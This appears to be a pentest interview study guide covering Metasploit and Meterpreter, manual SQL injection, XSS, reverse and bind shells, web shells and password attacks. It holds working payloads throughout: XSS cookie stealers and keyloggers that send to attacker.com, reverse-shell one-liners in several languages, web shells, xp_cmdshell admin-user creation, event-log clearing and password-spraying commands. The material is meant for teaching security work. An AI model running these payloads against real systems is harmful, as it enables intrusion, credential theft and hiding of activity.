Skip to content

Basic Exploitation

Why This Matters

Understanding exploitation at the fundamental level โ€” not just running modules, but knowing what each step does โ€” is what separates a pentester from a script kiddie. Interviewers specifically probe whether you understand the underlying mechanism when you describe finding and exploiting a vulnerability.


Metasploit Framework

Metasploit is the most widely used exploitation framework. It matters for interviews not just because you use it, but because understanding its architecture reveals your depth.

Architecture

msfconsole (CLI interface)
โ”‚
โ”œโ”€โ”€ Modules
โ”‚   โ”œโ”€โ”€ exploits/     โ€” code to trigger vulnerabilities
โ”‚   โ”œโ”€โ”€ payloads/     โ€” code that runs after exploitation
โ”‚   โ”‚   โ”œโ”€โ”€ singles/  โ€” self-contained, no stager needed
โ”‚   โ”‚   โ”œโ”€โ”€ stagers/  โ€” small initial payload, pulls down stage
โ”‚   โ”‚   โ””โ”€โ”€ stages/   โ€” full payload downloaded by stager
โ”‚   โ”œโ”€โ”€ auxiliary/    โ€” scanning, fuzzing, DoS (no payload)
โ”‚   โ”œโ”€โ”€ post/         โ€” post-exploitation modules (run after shell)
โ”‚   โ”œโ”€โ”€ encoders/     โ€” encode payloads to evade AV (basic)
โ”‚   โ”œโ”€โ”€ nops/         โ€” NOP sleds for buffer overflows
โ”‚   โ””โ”€โ”€ evasion/      โ€” more advanced evasion
โ”‚
โ”œโ”€โ”€ msfdb            โ€” PostgreSQL database for storing scan results
โ””โ”€โ”€ msfrpc           โ€” RPC interface for automation

Core msfconsole Commands

# Start
msfconsole
msfconsole -q          # Quiet mode (no banner)

# Database
msfdb init             # Initialize PostgreSQL DB
db_status              # Check DB connection
workspace              # List workspaces
workspace -a client1   # Create workspace

# Searching
search type:exploit platform:windows smb  # Search exploits
search cve:2017-0144   # Search by CVE (EternalBlue)
search ms17-010        # Search by MS bulletin

# Using a module
use exploit/windows/smb/ms17_010_eternalblue
info                   # Show module information
show options           # Show required options
show payloads          # Show compatible payloads

# Setting options
set RHOSTS 192.168.1.100
set RPORT 445
set LHOST 192.168.1.50
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
setg LHOST 192.168.1.50   # Set globally across all modules

# Running
check          # Check if target is vulnerable (not all modules have this)
run            # Execute the module
exploit        # Alias for run
exploit -j     # Run as background job

# Sessions
sessions -l    # List active sessions
sessions -i 1  # Interact with session 1
sessions -k 1  # Kill session 1
background     # Background current session (Ctrl+Z)

# Auxiliary modules
use auxiliary/scanner/smb/smb_ms17_010   # Scan without exploit
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/snmp/snmp_enum

Payloads โ€” The Critical Distinction

Understanding payload types is a common interview question.

Singles (non-staged): Complete, self-contained. Larger. Examples: windows/shell_reverse_tcp, linux/x86/exec.

windows/shell/reverse_tcp    โ† stager (/ separates stager from stage)
windows/shell_reverse_tcp    โ† single (underscore = single, no staging)

Stagers/Stages: The stager is tiny โ€” just enough code to establish a connection and pull down the full stage from the Metasploit handler. Stages are larger and provide full functionality (Meterpreter).

Why staging matters: Some exploitation vectors (like a buffer overflow with limited buffer space) can't accommodate a large payload. The stager is small enough to fit; it then fetches the full stage.

Reverse vs Bind: - reverse_tcp: Compromised machine calls back to attacker. Bypasses most firewall rules (outbound connections usually allowed).

  • bind_tcp: Opens a listening port on the compromised machine; attacker connects to it. Blocked by firewalls that filter inbound connections.

  • reverse_https: Like reverse_tcp but traffic is HTTPS-encapsulated โ€” blends with legitimate traffic, bypasses content inspection.

Meterpreter

Meterpreter is Metasploit's advanced payload. It runs entirely in memory, encrypts communication, and extends the attacker's capabilities post-exploitation.

# Core Meterpreter commands

# System information
sysinfo          # OS, hostname, architecture
getuid           # Current user
getpid           # Current process ID
ps               # Running processes
shell            # Drop to OS shell

# Privilege escalation
getsystem        # Attempt automatic privesc (multiple techniques)
# Technique 1: Named pipe impersonation
# Technique 2: Token duplication via SYSTEM service
# Technique 3: KernelDriver (if appropriate vuln available)

getprivs         # List current privileges

# Credential dumping
hashdump         # Dump SAM hashes (requires SYSTEM)
run post/windows/gather/credentials/credential_collector
load kiwi        # Load Mimikatz integration
creds_all        # Dump all credentials Mimikatz-style

# File operations
upload /local/path/file.exe C:\\Windows\\Temp\\
download C:\\Users\\Administrator\\Desktop\\passwords.txt /local/
ls               # List directory
cd               # Change directory
cat              # Read file

# Network
ipconfig         # Network interfaces
arp              # ARP cache (other hosts)
route            # Routing table
portfwd add -l 8080 -p 80 -r internal-server  # Port forward

# Pivoting
use auxiliary/server/socks_proxy
run post/multi/manage/autoroute    # Add route to internal network

# Persistence
run post/windows/manage/persistence_exe  # Registry-based persistence
run post/windows/manage/schtasks        # Scheduled task persistence

# Cleanup
clearev          # Clear Windows event logs

# Keylogging
keyscan_start
keyscan_dump
keyscan_stop

# Screenshot
screenshot

Manual SQL Injection

While sqlmap automates SQLi, you must demonstrate manual exploitation in interviews. Automated tools are detected more easily and can't handle every edge case.

Step-by-Step Manual SQLi

Step 1: Identify the injection point

Test all input parameters โ€” URL query strings, POST body, cookies, headers, JSON values.

# URL parameter
http://target.com/item?id=1
http://target.com/item?id=1'          โ†’ error or broken response = injectable
http://target.com/item?id=1''         โ†’ properly escaped = not injectable
http://target.com/item?id=1 AND 1=1   โ†’ same as normal
http://target.com/item?id=1 AND 1=2   โ†’ different response = injectable

Step 2: Determine number of columns (for UNION)

-- Method 1: ORDER BY (increment until error)
?id=1 ORDER BY 1--     โ†’ works
?id=1 ORDER BY 2--     โ†’ works
?id=1 ORDER BY 3--     โ†’ works
?id=1 ORDER BY 4--     โ†’ error: "Unknown column '4' in order clause"
-- Therefore: 3 columns

-- Method 2: UNION NULL (add NULLs until no error)
?id=1 UNION SELECT NULL--                  โ†’ error
?id=1 UNION SELECT NULL,NULL--             โ†’ error
?id=1 UNION SELECT NULL,NULL,NULL--        โ†’ works = 3 columns

Step 3: Find which columns are displayed in response

?id=1 UNION SELECT 'a','b','c'--
-- If 'b' appears in response: second column is reflected
-- If nothing appears: the original query returns data (suppress with id=-1)

?id=-1 UNION SELECT 'a','b','c'--
-- id=-1 returns no rows from original query; UNION row is displayed

Step 4: Extract database metadata

-- MySQL
?id=-1 UNION SELECT database(),user(),version()--
-- database() = current DB name
-- user() = DB user
-- version() = MySQL version

-- List all databases
?id=-1 UNION SELECT schema_name,2,3 FROM information_schema.schemata--

-- List tables in current DB
?id=-1 UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database()--

-- List columns in a table
?id=-1 UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'--

Step 5: Extract data

-- Extract usernames and passwords
?id=-1 UNION SELECT username,password,email FROM users--

-- Concatenate multiple values into one column
?id=-1 UNION SELECT CONCAT(username,':',password),2,3 FROM users--

Step 6: Beyond data extraction โ€” code execution (MySQL)

-- Write a web shell (requires FILE privilege and web root knowledge)
?id=-1 UNION SELECT "<?php system($_GET['cmd']); ?>",2,3 INTO OUTFILE '/var/www/html/shell.php'--

-- Access the shell
http://target.com/shell.php?cmd=id

-- Read system files
?id=-1 UNION SELECT LOAD_FILE('/etc/passwd'),2,3--

MSSQL โ€” xp_cmdshell:

-- Check if xp_cmdshell is enabled
'; IF (1=1) WAITFOR DELAY '0:0:5'--    โ†’ confirms injectable

-- Enable xp_cmdshell (requires SA or sysadmin)
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--

-- Execute command
'; EXEC xp_cmdshell 'whoami'--
'; EXEC xp_cmdshell 'net user hacker P@ss123 /add'--
'; EXEC xp_cmdshell 'net localgroup administrators hacker /add'--

Common Filter Bypasses

-- If spaces are filtered
?id=1/**/UNION/**/SELECT/**/1,2,3--
?id=1%09UNION%09SELECT%091,2,3--    (tab instead of space)
?id=1UNION(SELECT(1),(2),(3))--

-- If quotes are filtered
?id=-1 UNION SELECT 0x61646d696e,2,3--  (hex-encoded 'admin')
?id=-1 UNION SELECT CHAR(97,100,109,105,110),2,3--  (CHAR())

-- If -- comments are filtered
?id=-1 UNION SELECT 1,2,3#            (MySQL hash comment)
?id=-1 UNION SELECT 1,2,3/*           (block comment)

-- Case variation (bypass case-sensitive filters)
?id=-1 uNiOn SeLeCt 1,2,3--

-- Inline comments break up keywords
?id=-1 UN/**/ION SEL/**/ECT 1,2,3--

Manual Cross-Site Scripting (XSS)

XSS Types

Reflected XSS: Malicious script is in the HTTP request (query parameter, form field), reflected in the response without storage. Victim must click a crafted link.

http://target.com/search?q=<script>alert(1)</script>
# If response contains: <p>Results for: <script>alert(1)</script></p>
# โ†’ Reflected XSS

Stored XSS: Script is persisted (database, comment, profile field) and executed when anyone views the stored content. More dangerous โ€” no crafted link needed.

# In a comment form:
<script>
  fetch('https://attacker.com/steal?cookie='+document.cookie)
</script>
# Stored in DB โ†’ executes in every visitor's browser

DOM-based XSS: Vulnerability exists in client-side JavaScript. No server-side reflection. The DOM is manipulated by malicious input that never leaves the browser.

// Vulnerable code:
var search = location.hash.substring(1);  // Get #fragment from URL
document.getElementById('result').innerHTML = search;

// Attack:
http://target.com/page#<img src=x onerror=alert(1)>
// No request to server, no server-side log of the attack

Testing XSS

Basic payloads (least to most obfuscated):

// Basic alert test
<script>alert(1)</script>
<script>alert(document.domain)</script>   // Prove domain context

// If <script> is filtered:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>

// If quotes are filtered:
<img src=x onerror=alert`1`>     // Template literals
<img src=x onerror=alert(1337)>  // No quotes needed for numbers

// HTML attribute injection (you're already inside an attribute):
" onmouseover="alert(1)       // Close attribute, add event
' onmouseover='alert(1)

// JavaScript string injection:
'; alert(1); //
\'; alert(1); //

// Bypass case-sensitive filters:
<ScRiPt>alert(1)</sCrIpT>
<SCRIPT>alert(1)</SCRIPT>

// Encoding bypass:
&#60;script&#62;alert(1)&#60;/script&#62;   // HTML entities
\u003cscript\u003ealert(1)\u003c/script\u003e // Unicode

Cookie stealing payload:

<script>
var i = new Image();
i.src = "https://attacker.com/log?c=" + encodeURIComponent(document.cookie);
</script>

// Shorter form:
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">

Session hijacking via XSS:

// 1. Steal session cookie
document.location='https://attacker.com/steal?cookie='+document.cookie

// 2. Or make authenticated requests as the victim
fetch('/api/admin/users', {credentials:'include'})
  .then(r=>r.json())
  .then(data=>fetch('https://attacker.com/?data='+JSON.stringify(data)))

Keylogger via XSS:

document.addEventListener('keypress', function(e) {
    new Image().src = 'https://attacker.com/log?key=' + e.key;
});

XSS to CSRF: If the site is protected by CSRF tokens, XSS can bypass it because JavaScript can read the token from the DOM:

// Read CSRF token from page, submit action with it
fetch('/profile').then(r=>r.text()).then(html=>{
    var token = html.match(/csrf_token.*?value="([^"]+)"/)[1];
    var form = new FormData();
    form.append('csrf_token', token);
    form.append('email', 'attacker@evil.com');
    fetch('/change-email', {method:'POST', body:form, credentials:'include'});
});


Shells โ€” Reverse and Bind

Netcat Shells

# Netcat listener (attacker side)
nc -lvnp 4444
# -l = listen, -v = verbose, -n = no DNS, -p = port

# Reverse shell (victim connects back to attacker)
nc attacker_ip 4444 -e /bin/bash    # Linux with -e flag
nc attacker_ip 4444 -e cmd.exe      # Windows

# If nc doesn't support -e (most modern nc):
# Use a bash reverse shell instead:
bash -i >& /dev/tcp/attacker_ip/4444 0>&1

# Or create a FIFO:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc attacker_ip 4444 >/tmp/f

# Bind shell (victim listens, attacker connects to it):
nc -lvnp 4444 -e /bin/bash    # On victim
nc victim_ip 4444             # Attacker connects in

Reverse Shell One-Liners

# Bash
bash -i >& /dev/tcp/10.10.10.1/4444 0>&1

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# PHP
php -r '$sock=fsockopen("10.10.10.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl
perl -e 'use Socket;$i="10.10.10.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Ruby
ruby -rsocket -e'f=TCPSocket.open("10.10.10.1",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# PowerShell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.1",4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+"PS "+(pwd).Path+"> ";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};

# Use https://www.revshells.com/ for generator

Upgrading Shell Quality

Raw nc shells have no tab completion, no job control, and can break with Ctrl+C. Upgrade to a full PTY:

# Method 1: Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z to background, back on attacker:
stty raw -echo; fg
# Hit Enter twice. Now: full interactive shell

# Method 2: script
script /dev/null -c bash

# Method 3: socat (if available on target)
# On attacker: socat file:`tty`,raw,echo=0 tcp-listen:4444
# On victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:attacker:4444

Web Shells

After a file upload vulnerability or SQLi file write, a web shell gives browser-accessible command execution:

<?php system($_GET['cmd']); ?>           # Basic
<?php echo shell_exec($_GET['cmd']); ?>  # Alternative
<?php passthru($_GET['cmd']); ?>
<?php eval($_POST['code']); ?>           # POST-based, harder to detect in logs
# Access: http://target.com/shell.php?cmd=id
<%@ Page Language="C#"%>
<% System.Diagnostics.Process.Start("cmd.exe","/c "+Request["cmd"]); %>

Weevely โ€” PHP web shell with obfuscation and management console:

weevely generate secretpass /tmp/shell.php  # Generate shell
weevely http://target.com/shell.php secretpass  # Connect


Password Attacks

Offline Hash Cracking

# Hashcat โ€” GPU-accelerated, very fast
# -m = hash type, -a = attack mode

# Dictionary attack (-a 0)
hashcat -m 0 hashes.txt /wordlists/rockyou.txt          # MD5
hashcat -m 100 hashes.txt /wordlists/rockyou.txt        # SHA1
hashcat -m 1000 hashes.txt /wordlists/rockyou.txt       # NTLM
hashcat -m 3200 hashes.txt /wordlists/rockyou.txt       # bcrypt (slow!)
hashcat -m 1800 hashes.txt /wordlists/rockyou.txt       # sha512crypt (Linux)
hashcat -m 13100 hashes.txt /wordlists/rockyou.txt      # Kerberoast (TGS-REP)

# Rules-based attack (mutate wordlist with rules)
hashcat -m 1000 hashes.txt /wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hashes.txt /wordlists/rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule

# Brute force with mask (-a 3)
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?d?d?s   # 1 upper, 4 lower, 2 digit, 1 special
# Masks: ?u=uppercase, ?l=lowercase, ?d=digit, ?s=special, ?a=all

# Combination attack (-a 1) โ€” combine two wordlists
hashcat -m 1000 hashes.txt -a 1 words1.txt words2.txt

# Identify hash type
hashid hash.txt
hashcat --help | grep -i "ntlm"
# John the Ripper
john --wordlist=/wordlists/rockyou.txt hashes.txt
john --rules --wordlist=/wordlists/rockyou.txt hashes.txt
john --show hashes.txt          # Show cracked passwords

# Convert formats for john
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt

# SSH key cracking
ssh2john id_rsa > id_rsa.hash
john --wordlist=rockyou.txt id_rsa.hash

Online Brute Force

# Hydra โ€” network login brute force
# -l = single username, -L = username list
# -p = single password, -P = password list

# HTTP POST form
hydra -l admin -P rockyou.txt http-post-form \
  "target.com/login:username=^USER^&password=^PASS^:Invalid credentials"

# SSH
hydra -l root -P rockyou.txt ssh://target
hydra -L users.txt -P passes.txt ssh://target -t 4

# FTP
hydra -l anonymous -P rockyou.txt ftp://target

# RDP
hydra -l administrator -P rockyou.txt rdp://target

# SMB
hydra -l administrator -P rockyou.txt smb://target

# MySQL
hydra -l root -P rockyou.txt mysql://target
# Medusa โ€” alternative to Hydra
medusa -h target -u admin -P rockyou.txt -M http -m DIR:/login -m FORM:user=^USER^&pass=^PASS^ -m DENY:"Invalid"

# CrackMapExec โ€” for Windows network protocols
cme smb 192.168.1.0/24 -u admin -p 'Password123'  # Spray across subnet
cme smb targets.txt -u users.txt -p passwords.txt --no-bruteforce  # Pair-wise

# Spray one password against many users (avoid lockout)
cme smb target -u users.txt -p 'Summer2024!' --continue-on-success

Default Credential Checking

# Many services, check common defaults
# Tools maintain databases of default creds
# changeme โ€” default credential checker
changeme -a target

# Common defaults to try manually:
# admin:admin, admin:password, admin:1234, admin:Admin1234
# root:root, root:toor, root:(empty)
# cisco:cisco, enable:enable
# tomcat:s3cret, manager:manager
# postgres:postgres (default PostgreSQL)
# sa:(empty) (default MSSQL SA)